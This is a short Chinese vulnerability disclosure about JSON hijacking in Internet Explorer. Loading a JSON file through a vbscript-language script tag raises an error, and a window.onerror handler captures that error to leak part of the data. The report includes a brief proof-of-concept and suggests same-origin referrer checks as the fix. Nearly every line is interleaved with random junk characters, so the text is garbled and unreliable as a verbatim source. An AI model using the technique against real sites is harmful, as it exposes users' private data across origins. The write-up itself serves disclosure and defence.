简要描述:: _) P& ~9 W4 |( ?7 q9 R1 x9 ^% Y
2 O- l; I: T1 h0 `1 v+ }4 t) ?
由于某些资源容器对数据处理不当导致json劫持漏洞.
+ Z r3 X. H, q4 |( _详细说明:
; x: u1 r+ }+ Q: t/ ]1 y+ W W由于ie支持vbscript,所以script元素可以指定成vbscript语言:' \1 V& f, j6 U- W0 g0 e9 a' s# D
<script language=vbscript></script>
' o t3 i& E/ }; F $ ]' f2 U: f* W: ^+ q7 ?
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
' u3 t7 j1 R, a3 A' v漏洞证明:6 ?: L% E, `; S2 n( O- N
<script>+ P5 O1 Y2 H1 ]5 f9 j
window.onerror=function(_){
4 r1 X: [+ x, A/ y! yalert(_)
+ E* A; Z$ q$ g+ Y1 [( K}
: c% n! _# g4 J; g- u% |! ^4 x</script>
" L {- u) {- b, g<script language=vbscript src=1.json></script>
u/ A% K% N) k1 @ $ l# S* r# ?& z6 y7 l$ w$ T! o6 {
" c# x" v5 `( B, t, u2 R1.json:
5 u5 F7 g, s% y, C+ R r; W[{"name":"sogili","age":19}]8 L% Z! Z: h9 A0 S" E" D$ j
修复方案:
, a4 v- e2 k3 h1 H- Q# n8 D# A网站业务对于这个问题可以通过验证referrer是否为同源来防御 |